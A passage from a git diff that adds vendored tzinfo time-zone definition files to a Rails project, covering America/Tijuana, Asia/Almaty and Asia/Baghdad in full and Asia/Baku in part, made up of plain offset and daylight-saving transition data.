39013275, 16 + tz.transition 1964, 4, :o4, 117048563, 48 + tz.transition 1964, 10, :o3, 39019099, 16 + tz.transition 1965, 4, :o4, 117066035, 48 + tz.transition 1965, 10, :o3, 39025035, 16 + tz.transition 1966, 4, :o4, 117083507, 48 + tz.transition 1966, 10, :o3, 39030859, 16 + tz.transition 1967, 4, :o4, 117101315, 48 + tz.transition 1967, 10, :o3, 39036683, 16 + tz.transition 1968, 4, :o4, 117118787, 48 + tz.transition 1968, 10, :o3, 39042507, 16 + tz.transition 1969, 4, :o4, 117136259, 48 + tz.transition 1969, 10, :o3, 39048331, 16 + tz.transition 1970, 4, :o4, 9955800 + tz.transition 1970, 10, :o3, 25677000 + tz.transition 1971, 4, :o4, 41405400 + tz.transition 1971, 10, :o3, 57731400 + tz.transition 1972, 4, :o4, 73459800 + tz.transition 1972, 10, :o3, 89181000 + tz.transition 1973, 4, :o4, 104909400 + tz.transition 1973, 10, :o3, 120630600 + tz.transition 1974, 4, :o4, 136359000 + tz.transition 1974, 10, :o3, 152080200 + tz.transition 1975, 4, :o4, 167808600 + tz.transition 1975, 10, :o3, 183529800 + tz.transition 1976, 4, :o4, 199258200 + tz.transition 1976, 10, :o3, 215584200 + tz.transition 1977, 4, :o4, 230707800 + tz.transition 1977, 10, :o3, 247033800 + tz.transition 1978, 4, :o4, 262762200 + tz.transition 1978, 10, :o3, 278483400 + tz.transition 1979, 4, :o4, 294211800 + tz.transition 1979, 10, :o3, 309933000 + tz.transition 1980, 4, :o4, 325661400 + tz.transition 1980, 10, :o3, 341382600 + tz.transition 1981, 4, :o4, 357111000 + tz.transition 1981, 10, :o3, 372832200 + tz.transition 1982, 4, :o4, 388560600 + tz.transition 1982, 10, :o3, 404886600 + tz.transition 1983, 4, :o4, 420010200 + tz.transition 1983, 10, :o3, 436336200 + tz.transition 1984, 4, :o4, 452064600 + tz.transition 1984, 10, :o3, 467785800 + tz.transition 1985, 4, :o4, 483514200 + tz.transition 1985, 10, :o3, 499235400 + tz.transition 1986, 4, :o4, 514963800 + tz.transition 1986, 10, :o3, 530685000 + tz.transition 1987, 4, :o4, 544591860 + tz.transition 1987, 10, :o3, 562127460 + tz.transition 1988, 4, :o7, 576041460 + tz.transition 1988, 10, :o3, 594178260 + tz.transition 1989, 4, :o4, 607491060 + tz.transition 1989, 10, :o3, 625631460 + tz.transition 1990, 4, :o4, 638940660 + tz.transition 1990, 10, :o3, 657081060 + tz.transition 1991, 4, :o4, 670995060 + tz.transition 1991, 10, :o3, 688530660 + tz.transition 1992, 4, :o4, 702444660 + tz.transition 1992, 10, :o3, 719980260 + tz.transition 1993, 4, :o4, 733894260 + tz.transition 1993, 10, :o3, 752034660 + tz.transition 1994, 4, :o4, 765343860 + tz.transition 1994, 10, :o3, 783484260 + tz.transition 1995, 4, :o4, 796793460 + tz.transition 1995, 10, :o3, 814933860 + tz.transition 1996, 4, :o4, 828847860 + tz.transition 1996, 10, :o3, 846383460 + tz.transition 1997, 4, :o4, 860297460 + tz.transition 1997, 10, :o3, 877833060 + tz.transition 1998, 4, :o4, 891747060 + tz.transition 1998, 10, :o3, 909282660 + tz.transition 1999, 4, :o4, 923196660 + tz.transition 1999, 10, :o3, 941337060 + tz.transition 2000, 4, :o4, 954646260 + tz.transition 2000, 10, :o3, 972786660 + tz.transition 2001, 4, :o4, 986095860 + tz.transition 2001, 10, :o3, 1004236260 + tz.transition 2002, 4, :o4, 1018150260 + tz.transition 2002, 10, :o3, 1035685860 + tz.transition 2003, 4, :o4, 1049599860 + tz.transition 2003, 10, :o3, 1067135460 + tz.transition 2004, 4, :o4, 1081049460 + tz.transition 2004, 10, :o3, 1099189860 + tz.transition 2005, 4, :o4, 1112499060 + tz.transition 2005, 10, :o3, 1130639460 + tz.transition 2006, 4, :o4, 1143948660 + tz.transition 2006, 10, :o3, 1162089060 + tz.transition 2007, 3, :o4, 1173583860 + tz.transition 2007, 11, :o3, 1194143460 + tz.transition 2008, 3, :o4, 1205033460 + tz.transition 2008, 11, :o3, 1225593060 + tz.transition 2009, 3, :o4, 1236483060 + tz.transition 2009, 11, :o3, 1257042660 + tz.transition 2010, 3, :o4, 1268537460 + tz.transition 2010, 11, :o3, 1289097060 + tz.transition 2011, 3, :o4, 1299987060 + tz.transition 2011, 11, :o3, 1320546660 + tz.transition 2012, 3, :o4, 1331436660 + tz.transition 2012, 11, :o3, 1351996260 + tz.transition 2013, 3, :o4, 1362886260 + tz.transition 2013, 11, :o3, 1383445860 + tz.transition 2014, 3, :o4, 1394335860 + tz.transition 2014, 11, :o3, 1414895460 + tz.transition 2015, 3, :o4, 1425785460 + tz.transition 2015, 11, :o3, 1446345060 + tz.transition 2016, 3, :o4, 1457839860 + tz.transition 2016, 11, :o3, 1478399460 + tz.transition 2017, 3, :o4, 1489289460 + tz.transition 2017, 11, :o3, 1509849060 + tz.transition 2018, 3, :o4, 1520739060 + tz.transition 2018, 11, :o3, 1541298660 + tz.transition 2019, 3, :o4, 1552188660 + tz.transition 2019, 11, :o3, 1572748260 + tz.transition 2020, 3, :o4, 1583638260 + tz.transition 2020, 11, :o3, 1604197860 + tz.transition 2021, 3, :o4, 1615692660 + tz.transition 2021, 11, :o3, 1636252260 + tz.transition 2022, 3, :o4, 1647142260 + tz.transition 2022, 11, :o3, 1667701860 + tz.transition 2023, 3, :o4, 1678591860 + tz.transition 2023, 11, :o3, 1699151460 + tz.transition 2024, 3, :o4, 1710041460 + tz.transition 2024, 11, :o3, 1730601060 + tz.transition 2025, 3, :o4, 1741491060 + tz.transition 2025, 11, :o3, 1762050660 + tz.transition 2026, 3, :o4, 1772940660 + tz.transition 2026, 11, :o3, 1793500260 + tz.transition 2027, 3, :o4, 1804995060 + tz.transition 2027, 11, :o3, 1825554660 + tz.transition 2028, 3, :o4, 1836444660 + tz.transition 2028, 11, :o3, 1857004260 + tz.transition 2029, 3, :o4, 1867894260 + tz.transition 2029, 11, :o3, 1888453860 + tz.transition 2030, 3, :o4, 1899343860 + tz.transition 2030, 11, :o3, 1919903460 + tz.transition 2031, 3, :o4, 1930793460 + tz.transition 2031, 11, :o3, 1951353060 + tz.transition 2032, 3, :o4, 1962847860 + tz.transition 2032, 11, :o3, 1983407460 + tz.transition 2033, 3, :o4, 1994297460 + tz.transition 2033, 11, :o3, 2014857060 + tz.transition 2034, 3, :o4, 2025747060 + tz.transition 2034, 11, :o3, 2046306660 + tz.transition 2035, 3, :o4, 2057196660 + tz.transition 2035, 11, :o3, 2077756260 + tz.transition 2036, 3, :o4, 2088646260 + tz.transition 2036, 11, :o3, 2109205860 + tz.transition 2037, 3, :o4, 2120095860 + tz.transition 2037, 11, :o3, 2140655460 + tz.transition 2038, 3, :o4, 3550315171, 1440 + tz.transition 2038, 11, :o3, 3550657831, 1440 + tz.transition 2039, 3, :o4, 3550839331, 1440 + tz.transition 2039, 11, :o3, 3551181991, 1440 + tz.transition 2040, 3, :o4, 3551363491, 1440 + tz.transition 2040, 11, :o3, 3551706151, 1440 + tz.transition 2041, 3, :o4, 3551887651, 1440 + tz.transition 2041, 11, :o3, 3552230311, 1440 + tz.transition 2042, 3, :o4, 3552411811, 1440 + tz.transition 2042, 11, :o3, 3552754471, 1440 + tz.transition 2043, 3, :o4, 3552935971, 1440 + tz.transition 2043, 11, :o3, 3553278631, 1440 + tz.transition 2044, 3, :o4, 3553470211, 1440 + tz.transition 2044, 11, :o3, 3553812871, 1440 + tz.transition 2045, 3, :o4, 3553994371, 1440 + tz.transition 2045, 11, :o3, 3554337031, 1440 + tz.transition 2046, 3, :o4, 3554518531, 1440 + tz.transition 2046, 11, :o3, 3554861191, 1440 + tz.transition 2047, 3, :o4, 3555042691, 1440 + tz.transition 2047, 11, :o3, 3555385351, 1440 + tz.transition 2048, 3, :o4, 3555566851, 1440 + tz.transition 2048, 11, :o3, 3555909511, 1440 + tz.transition 2049, 3, :o4, 3556101091, 1440 + tz.transition 2049, 11, :o3, 3556443751, 1440 + tz.transition 2050, 3, :o4, 3556625251, 1440 + tz.transition 2050, 11, :o3, 3556967911, 1440 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb new file mode 100644 index 00000000..423059da --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb @@ -0,0 +1,196 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Tijuana + include TimezoneDefinition + + timezone 'America/Tijuana' do |tz| + tz.offset :o0, -28084, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -28800, 0, :PST + tz.offset :o3, -28800, 3600, :PDT + tz.offset :o4, -28800, 3600, :PWT + tz.offset :o5, -28800, 3600, :PPT + + tz.transition 1922, 1, :o1, 14538335, 6 + tz.transition 1924, 1, :o2, 58170859, 24 + tz.transition 1927, 6, :o1, 58201027, 24 + tz.transition 1930, 11, :o2, 58231099, 24 + tz.transition 1931, 4, :o3, 14558597, 6 + tz.transition 1931, 9, :o2, 58238755, 24 + tz.transition 1942, 4, :o4, 14582843, 6 + tz.transition 1945, 8, :o5, 58360379, 24 + tz.transition 1945, 11, :o2, 58362523, 24 + tz.transition 1948, 4, :o3, 14595881, 6 + tz.transition 1949, 1, :o2, 58390339, 24 + tz.transition 1954, 4, :o3, 29218295, 12 + tz.transition 1954, 9, :o2, 19480095, 8 + tz.transition 1955, 4, :o3, 29222663, 12 + tz.transition 1955, 9, :o2, 19483007, 8 + tz.transition 1956, 4, :o3, 29227115, 12 + tz.transition 1956, 9, :o2, 19485975, 8 + tz.transition 1957, 4, :o3, 29231483, 12 + tz.transition 1957, 9, :o2, 19488887, 8 + tz.transition 1958, 4, :o3, 29235851, 12 + tz.transition 1958, 9, :o2, 19491799, 8 + tz.transition 1959, 4, :o3, 29240219, 12 + tz.transition 1959, 9, :o2, 19494711, 8 + tz.transition 1960, 4, :o3, 29244587, 12 + tz.transition 1960, 9, :o2, 19497623, 8 + tz.transition 1976, 4, :o3, 199274400 + tz.transition 1976, 10, :o2, 215600400 + tz.transition 1977, 4, :o3, 230724000 + tz.transition 1977, 10, :o2, 247050000 + tz.transition 1978, 4, :o3, 262778400 + tz.transition 1978, 10, :o2, 278499600 + tz.transition 1979, 4, :o3, 294228000 + tz.transition 1979, 10, :o2, 309949200 + tz.transition 1980, 4, :o3, 325677600 + tz.transition 1980, 10, :o2, 341398800 + tz.transition 1981, 4, :o3, 357127200 + tz.transition 1981, 10, :o2, 372848400 + tz.transition 1982, 4, :o3, 388576800 + tz.transition 1982, 10, :o2, 404902800 + tz.transition 1983, 4, :o3, 420026400 + tz.transition 1983, 10, :o2, 436352400 + tz.transition 1984, 4, :o3, 452080800 + tz.transition 1984, 10, :o2, 467802000 + tz.transition 1985, 4, :o3, 483530400 + tz.transition 1985, 10, :o2, 499251600 + tz.transition 1986, 4, :o3, 514980000 + tz.transition 1986, 10, :o2, 530701200 + tz.transition 1987, 4, :o3, 544615200 + tz.transition 1987, 10, :o2, 562150800 + tz.transition 1988, 4, :o3, 576064800 + tz.transition 1988, 10, :o2, 594205200 + tz.transition 1989, 4, :o3, 607514400 + tz.transition 1989, 10, :o2, 625654800 + tz.transition 1990, 4, :o3, 638964000 + tz.transition 1990, 10, :o2, 657104400 + tz.transition 1991, 4, :o3, 671018400 + tz.transition 1991, 10, :o2, 688554000 + tz.transition 1992, 4, :o3, 702468000 + tz.transition 1992, 10, :o2, 720003600 + tz.transition 1993, 4, :o3, 733917600 + tz.transition 1993, 10, :o2, 752058000 + tz.transition 1994, 4, :o3, 765367200 + tz.transition 1994, 10, :o2, 783507600 + tz.transition 1995, 4, :o3, 796816800 + tz.transition 1995, 10, :o2, 814957200 + tz.transition 1996, 4, :o3, 828871200 + tz.transition 1996, 10, :o2, 846406800 + tz.transition 1997, 4, :o3, 860320800 + tz.transition 1997, 10, :o2, 877856400 + tz.transition 1998, 4, :o3, 891770400 + tz.transition 1998, 10, :o2, 909306000 + tz.transition 1999, 4, :o3, 923220000 + tz.transition 1999, 10, :o2, 941360400 + tz.transition 2000, 4, :o3, 954669600 + tz.transition 2000, 10, :o2, 972810000 + tz.transition 2001, 4, :o3, 986119200 + tz.transition 2001, 10, :o2, 1004259600 + tz.transition 2002, 4, :o3, 1018173600 + tz.transition 2002, 10, :o2, 1035709200 + tz.transition 2003, 4, :o3, 1049623200 + tz.transition 2003, 10, :o2, 1067158800 + tz.transition 2004, 4, :o3, 1081072800 + tz.transition 2004, 10, :o2, 1099213200 + tz.transition 2005, 4, :o3, 1112522400 + tz.transition 2005, 10, :o2, 1130662800 + tz.transition 2006, 4, :o3, 1143972000 + tz.transition 2006, 10, :o2, 1162112400 + tz.transition 2007, 4, :o3, 1175421600 + tz.transition 2007, 10, :o2, 1193562000 + tz.transition 2008, 4, :o3, 1207476000 + tz.transition 2008, 10, :o2, 1225011600 + tz.transition 2009, 4, :o3, 1238925600 + tz.transition 2009, 10, :o2, 1256461200 + tz.transition 2010, 4, :o3, 1270375200 + tz.transition 2010, 10, :o2, 1288515600 + tz.transition 2011, 4, :o3, 1301824800 + tz.transition 2011, 10, :o2, 1319965200 + tz.transition 2012, 4, :o3, 1333274400 + tz.transition 2012, 10, :o2, 1351414800 + tz.transition 2013, 4, :o3, 1365328800 + tz.transition 2013, 10, :o2, 1382864400 + tz.transition 2014, 4, :o3, 1396778400 + tz.transition 2014, 10, :o2, 1414314000 + tz.transition 2015, 4, :o3, 1428228000 + tz.transition 2015, 10, :o2, 1445763600 + tz.transition 2016, 4, :o3, 1459677600 + tz.transition 2016, 10, :o2, 1477818000 + tz.transition 2017, 4, :o3, 1491127200 + tz.transition 2017, 10, :o2, 1509267600 + tz.transition 2018, 4, :o3, 1522576800 + tz.transition 2018, 10, :o2, 1540717200 + tz.transition 2019, 4, :o3, 1554631200 + tz.transition 2019, 10, :o2, 1572166800 + tz.transition 2020, 4, :o3, 1586080800 + tz.transition 2020, 10, :o2, 1603616400 + tz.transition 2021, 4, :o3, 1617530400 + tz.transition 2021, 10, :o2, 1635670800 + tz.transition 2022, 4, :o3, 1648980000 + tz.transition 2022, 10, :o2, 1667120400 + tz.transition 2023, 4, :o3, 1680429600 + tz.transition 2023, 10, :o2, 1698570000 + tz.transition 2024, 4, :o3, 1712484000 + tz.transition 2024, 10, :o2, 1730019600 + tz.transition 2025, 4, :o3, 1743933600 + tz.transition 2025, 10, :o2, 1761469200 + tz.transition 2026, 4, :o3, 1775383200 + tz.transition 2026, 10, :o2, 1792918800 + tz.transition 2027, 4, :o3, 1806832800 + tz.transition 2027, 10, :o2, 1824973200 + tz.transition 2028, 4, :o3, 1838282400 + tz.transition 2028, 10, :o2, 1856422800 + tz.transition 2029, 4, :o3, 1869732000 + tz.transition 2029, 10, :o2, 1887872400 + tz.transition 2030, 4, :o3, 1901786400 + tz.transition 2030, 10, :o2, 1919322000 + tz.transition 2031, 4, :o3, 1933236000 + tz.transition 2031, 10, :o2, 1950771600 + tz.transition 2032, 4, :o3, 1964685600 + tz.transition 2032, 10, :o2, 1982826000 + tz.transition 2033, 4, :o3, 1996135200 + tz.transition 2033, 10, :o2, 2014275600 + tz.transition 2034, 4, :o3, 2027584800 + tz.transition 2034, 10, :o2, 2045725200 + tz.transition 2035, 4, :o3, 2059034400 + tz.transition 2035, 10, :o2, 2077174800 + tz.transition 2036, 4, :o3, 2091088800 + tz.transition 2036, 10, :o2, 2108624400 + tz.transition 2037, 4, :o3, 2122538400 + tz.transition 2037, 10, :o2, 2140074000 + tz.transition 2038, 4, :o3, 29586215, 12 + tz.transition 2038, 10, :o2, 19725823, 8 + tz.transition 2039, 4, :o3, 29590583, 12 + tz.transition 2039, 10, :o2, 19728735, 8 + tz.transition 2040, 4, :o3, 29594951, 12 + tz.transition 2040, 10, :o2, 19731647, 8 + tz.transition 2041, 4, :o3, 29599403, 12 + tz.transition 2041, 10, :o2, 19734559, 8 + tz.transition 2042, 4, :o3, 29603771, 12 + tz.transition 2042, 10, :o2, 19737471, 8 + tz.transition 2043, 4, :o3, 29608139, 12 + tz.transition 2043, 10, :o2, 19740383, 8 + tz.transition 2044, 4, :o3, 29612507, 12 + tz.transition 2044, 10, :o2, 19743351, 8 + tz.transition 2045, 4, :o3, 29616875, 12 + tz.transition 2045, 10, :o2, 19746263, 8 + tz.transition 2046, 4, :o3, 29621243, 12 + tz.transition 2046, 10, :o2, 19749175, 8 + tz.transition 2047, 4, :o3, 29625695, 12 + tz.transition 2047, 10, :o2, 19752087, 8 + tz.transition 2048, 4, :o3, 29630063, 12 + tz.transition 2048, 10, :o2, 19754999, 8 + tz.transition 2049, 4, :o3, 29634431, 12 + tz.transition 2049, 10, :o2, 19757967, 8 + tz.transition 2050, 4, :o3, 29638799, 12 + tz.transition 2050, 10, :o2, 19760879, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb new file mode 100644 index 00000000..9ee18970 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb @@ -0,0 +1,67 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Almaty + include TimezoneDefinition + + timezone 'Asia/Almaty' do |tz| + tz.offset :o0, 18468, 0, :LMT + tz.offset :o1, 18000, 0, :ALMT + tz.offset :o2, 21600, 0, :ALMT + tz.offset :o3, 21600, 3600, :ALMST + + tz.transition 1924, 5, :o1, 1939125829, 800 + tz.transition 1930, 6, :o2, 58227559, 24 + tz.transition 1981, 3, :o3, 354909600 + tz.transition 1981, 9, :o2, 370717200 + tz.transition 1982, 3, :o3, 386445600 + tz.transition 1982, 9, :o2, 402253200 + tz.transition 1983, 3, :o3, 417981600 + tz.transition 1983, 9, :o2, 433789200 + tz.transition 1984, 3, :o3, 449604000 + tz.transition 1984, 9, :o2, 465336000 + tz.transition 1985, 3, :o3, 481060800 + tz.transition 1985, 9, :o2, 496785600 + tz.transition 1986, 3, :o3, 512510400 + tz.transition 1986, 9, :o2, 528235200 + tz.transition 1987, 3, :o3, 543960000 + tz.transition 1987, 9, :o2, 559684800 + tz.transition 1988, 3, :o3, 575409600 + tz.transition 1988, 9, :o2, 591134400 + tz.transition 1989, 3, :o3, 606859200 + tz.transition 1989, 9, :o2, 622584000 + tz.transition 1990, 3, :o3, 638308800 + tz.transition 1990, 9, :o2, 654638400 + tz.transition 1992, 3, :o3, 701802000 + tz.transition 1992, 9, :o2, 717523200 + tz.transition 1993, 3, :o3, 733262400 + tz.transition 1993, 9, :o2, 748987200 + tz.transition 1994, 3, :o3, 764712000 + tz.transition 1994, 9, :o2, 780436800 + tz.transition 1995, 3, :o3, 796161600 + tz.transition 1995, 9, :o2, 811886400 + tz.transition 1996, 3, :o3, 828216000 + tz.transition 1996, 10, :o2, 846360000 + tz.transition 1997, 3, :o3, 859665600 + tz.transition 1997, 10, :o2, 877809600 + tz.transition 1998, 3, :o3, 891115200 + tz.transition 1998, 10, :o2, 909259200 + tz.transition 1999, 3, :o3, 922564800 + tz.transition 1999, 10, :o2, 941313600 + tz.transition 2000, 3, :o3, 954014400 + tz.transition 2000, 10, :o2, 972763200 + tz.transition 2001, 3, :o3, 985464000 + tz.transition 2001, 10, :o2, 1004212800 + tz.transition 2002, 3, :o3, 1017518400 + tz.transition 2002, 10, :o2, 1035662400 + tz.transition 2003, 3, :o3, 1048968000 + tz.transition 2003, 10, :o2, 1067112000 + tz.transition 2004, 3, :o3, 1080417600 + tz.transition 2004, 10, :o2, 1099166400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb new file mode 100644 index 00000000..774dca15 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb @@ -0,0 +1,73 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Baghdad + include TimezoneDefinition + + timezone 'Asia/Baghdad' do |tz| + tz.offset :o0, 10660, 0, :LMT + tz.offset :o1, 10656, 0, :BMT + tz.offset :o2, 10800, 0, :AST + tz.offset :o3, 10800, 3600, :ADT + + tz.transition 1889, 12, :o1, 10417111387, 4320 + tz.transition 1917, 12, :o2, 726478313, 300 + tz.transition 1982, 4, :o3, 389048400 + tz.transition 1982, 9, :o2, 402264000 + tz.transition 1983, 3, :o3, 417906000 + tz.transition 1983, 9, :o2, 433800000 + tz.transition 1984, 3, :o3, 449614800 + tz.transition 1984, 9, :o2, 465422400 + tz.transition 1985, 3, :o3, 481150800 + tz.transition 1985, 9, :o2, 496792800 + tz.transition 1986, 3, :o3, 512517600 + tz.transition 1986, 9, :o2, 528242400 + tz.transition 1987, 3, :o3, 543967200 + tz.transition 1987, 9, :o2, 559692000 + tz.transition 1988, 3, :o3, 575416800 + tz.transition 1988, 9, :o2, 591141600 + tz.transition 1989, 3, :o3, 606866400 + tz.transition 1989, 9, :o2, 622591200 + tz.transition 1990, 3, :o3, 638316000 + tz.transition 1990, 9, :o2, 654645600 + tz.transition 1991, 4, :o3, 670464000 + tz.transition 1991, 10, :o2, 686275200 + tz.transition 1992, 4, :o3, 702086400 + tz.transition 1992, 10, :o2, 717897600 + tz.transition 1993, 4, :o3, 733622400 + tz.transition 1993, 10, :o2, 749433600 + tz.transition 1994, 4, :o3, 765158400 + tz.transition 1994, 10, :o2, 780969600 + tz.transition 1995, 4, :o3, 796694400 + tz.transition 1995, 10, :o2, 812505600 + tz.transition 1996, 4, :o3, 828316800 + tz.transition 1996, 10, :o2, 844128000 + tz.transition 1997, 4, :o3, 859852800 + tz.transition 1997, 10, :o2, 875664000 + tz.transition 1998, 4, :o3, 891388800 + tz.transition 1998, 10, :o2, 907200000 + tz.transition 1999, 4, :o3, 922924800 + tz.transition 1999, 10, :o2, 938736000 + tz.transition 2000, 4, :o3, 954547200 + tz.transition 2000, 10, :o2, 970358400 + tz.transition 2001, 4, :o3, 986083200 + tz.transition 2001, 10, :o2, 1001894400 + tz.transition 2002, 4, :o3, 1017619200 + tz.transition 2002, 10, :o2, 1033430400 + tz.transition 2003, 4, :o3, 1049155200 + tz.transition 2003, 10, :o2, 1064966400 + tz.transition 2004, 4, :o3, 1080777600 + tz.transition 2004, 10, :o2, 1096588800 + tz.transition 2005, 4, :o3, 1112313600 + tz.transition 2005, 10, :o2, 1128124800 + tz.transition 2006, 4, :o3, 1143849600 + tz.transition 2006, 10, :o2, 1159660800 + tz.transition 2007, 4, :o3, 1175385600 + tz.transition 2007, 10, :o2, 1191196800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb new file mode 100644 index 00000000..e86340eb --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb @@ -0,0 +1,161 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Baku + include TimezoneDefinition + + timezone 'Asia/Baku' do |tz| + tz.offset :o0, 11964, 0, :LMT + tz.offset :o1, 10800, 0, :BAKT + tz.offset :o2, 14400, 0, :BAKT + tz.offset :o3, 14400, 3600, :BAKST + tz.offset :o4, 10800, 3600, :BAKST + tz.offset :o5, 10800, 3600, :AZST + tz.offset :o6, 10800, 0, :AZT + tz.offset :o7, 14400, 0, :AZT + tz.offset :o8, 14400, 3600, :AZST + + tz.transition 1924, 5, :o1, 17452133003, 7200 + tz.transition 1957, 2, :o2, 19487187, 8 + tz.transition 1981, 3, :o3, 354916800 + tz.transition 1981, 9, :o2, 370724400 + tz.transition 1982, 3, :o3, 386452800 + tz.transition 1982, 9, :o2, 402260400 + tz.transition 1983, 3, :o3, 417988800 + tz.transition 1983, 9, :o2, 433796400 + tz.transition 1984, 3, :o3, 449611200 + tz.transition 1984, 9, :o2, 465343200 + tz.transition 1985, 3, :o3, 481068000 + tz.transition 1985, 9, :o2, 496792800 + tz.transition 1986, 3, :o3, 512517600 + tz.transition 1986, 9, :o2, 528242400 + tz.transition 1987, 3, :o3, 543967200 + tz.transition 1987, 9, :o2, 559692000 + tz.transition 1988, 3, :o3, 575416800 + tz.transition 1988, 9, :o2, 591141600 + tz.transition 1989, 3, :o3, 606866400 + tz.transition 1989, 9, :o2, 622591200 + tz.transition 1990, 3, :o3, 638316000 + tz.transition 1990, 9, :o2, 654645600 + tz.transition 1991, 3, :o4, 670370400 + tz.transition 1991, 8, :o5, 683496000 + tz.transition 1991, 9, :o6, 686098800 + tz.transition 1992, 3, :o5, 701812800 + tz.transition 1992, 9, :o7, 717534000 + tz.transition 1996, 3, :o8, 828234000 + tz.transition 1996, 10, :o7, 846378000 + tz.transition 1997, 3, :o8, 859680000 + tz.transition 1997, 10, :o7, 877824000 + tz.transition 1998, 3, :o8, 891129600 + tz.transition 1998, 10, :o7, 909273600 + tz.transition 1999, 3, :o8, 922579200 + tz.transition 1999, 10, :o7, 941328000 + tz.transition 2000, 3, :o8, 954028800 + tz.transition 2000, 10, :o7, 972777600 + tz.transition 2001, 3, :o8, 985478400 + tz.transition 2001, 10, :o7, 1004227200 + tz.transition 2002, 3, :o8, 1017532800 + tz.transition 2002, 10, :o7, 1035676800 + tz.transition 2003, 3, :o8, 1048982400 + tz.transition 2003, 10, :o7, 1067126400 + tz.transition 2004, 3, :o8, 1080432000 + tz.transition 2004, 10, :o7, 1099180800 + tz.transition 2005, 3, :o8, 1111881600 + tz.transition 2005, 10, :o7, 1130630400 + tz.transition 2006, 3, :o8, 1143331200 + tz.transition 2006, 10, :o7, 1162080000 + tz.transition 2007, 3, :o8, 1174780800 + tz.transition 2007, 10, :o7, 1193529600 + tz.transition 2008, 3, :o8, 1206835200 + tz.transition 2008, 10, :o7, 1224979200 + tz.transition 2009, 3, :o8, 1238284800 + tz.transition 2009, 10, :o7, 1256428800 + tz.transition 2010, 3, :o8, 1269734400 + tz.transition 2010, 10, :o7, 1288483200 + tz.transition 2011, 3, :o8, 1301184000 + tz.transition 2011, 10, :o7, 1319932800 + tz.transition 2012, 3, :o8, 1332633600 + tz.transition 2012, 10, :o7, 1351382400 + tz.transition 2013, 3, :o8, 1364688000 + tz.transition 2013, 10, :o7, 1382832000 + tz.transition 2014, 3, :o8, 1396137600 + tz.transition 2014, 10, :o7, 1414281600 + tz.transition 2015, 3, :o8, 1427587200 + tz.transition 2015, 10, :o7, 1445731200 + tz.transition 2016, 3, :o8, 1459036800 + tz.transition 2016, 10, :o7, 1477785600 + tz.transition 2017, 3, :o8, 1490486400 + tz.transition 2017, 10, :o7, 1509235200 + tz.transition 2018, 3, :o8, 1521936000 + tz.transition 2018, 10, :o7, 1540684800 + tz.transition 2019, 3, :o8, 1553990400 + tz.transition 2019, 10, :o7, 1572134400 + tz.transition 2020, 3, :o8, 1585440000 + tz.transition 2020, 10, :o7, 1603584000 + tz.transition 2021, 3, :o8, 1616889600 + tz.transition 2021, 10, :o7, 1635638400 + tz.transition 2022, 3, :o8, 1648339200 + tz.transition 2022, 10, :o7, 1667088000 + tz.transition 2023, 3, :o8, 1679788800 + tz.transition 2023, 10, :o7, 1698537600 + tz.transition 2024, 3, :o8, 1711843200 + tz.transition 2024, 10, :o7, 1729987200 + tz.transition 2025, 3, :o8, 1743292800 + tz.transition 2025, 10, :o7, 1761436800 + tz.transition 2026, 3, :o8, 1774742400 + tz.transition 2026, 10, :o7, 1792886400 + tz.transition 2027, 3, :o8, 1806192000 + tz.transition 2027, 10, :o7, 1824940800 + tz.transition 2028, 3, :o8, 1837641600 + tz.transition 2028, 10, :o7, 1856390400 + tz.transition 2029, 3, :o8, 1869091200 + tz.transition 2029, 10, :o7, 1887840000 + tz.transition 2030, 3, :o8, 1901145600 + tz.transition 2030, 10, :o7, 1919289600 + tz.transition 2031, 3, :o8, 1932595200 + tz.transition 2031, 10, :o7, 1950739200 + tz.transition 2032, 3, :o8, 1964044800 + tz.transition 2032, 10, :o7, 1982793600 + tz.transition 2033, 3, :o8, 1995494400 + tz.transition 2033, 10, :o7, 2014243200 + tz.transition 2034, 3, :o8, 2026944000 + tz.transition 2034, 10, :o7, 2045692800 + tz.transition 2035, 3, :o8, 2058393600 + tz.transition 2035, 10, :o7, 2077142400 + tz.transition 2036, 3, :o8, 2090448000 + tz.transition 2036, 10, :o7, 2108592000 + tz.transition 2037, 3, :o8, 2121897600 + tz.transition 2037, 10, :o7, 2140041600 + tz.transition 2038, 3, :o8, 4931021, 2 + tz.transition 2038, 10, :o7, 4931455, 2 + tz.transition 2039, 3, :o8, 4931749, 2 + tz.transition 2039, 10, :o7, 4932183, 2 + tz.transition 2040, 3, :o8, 4932477, 2 + tz.transition 2040, 10, :o7, 4932911, 2 + tz.transition 2041, 3, :o8, 4933219, 2 + tz.transition 2041, 10, :o7, 4933639, 2 + tz.transition 2042, 3, :o8, 4933947, 2 + tz.transition 2042, 10, :o7, 4934367, 2 + tz.transition 2043, 3, :o8, 4934675, 2 + tz.transition 2043, 10, :o7, 4935095, 2 + tz.transition 2044, 3, :o8, 4935403, 2 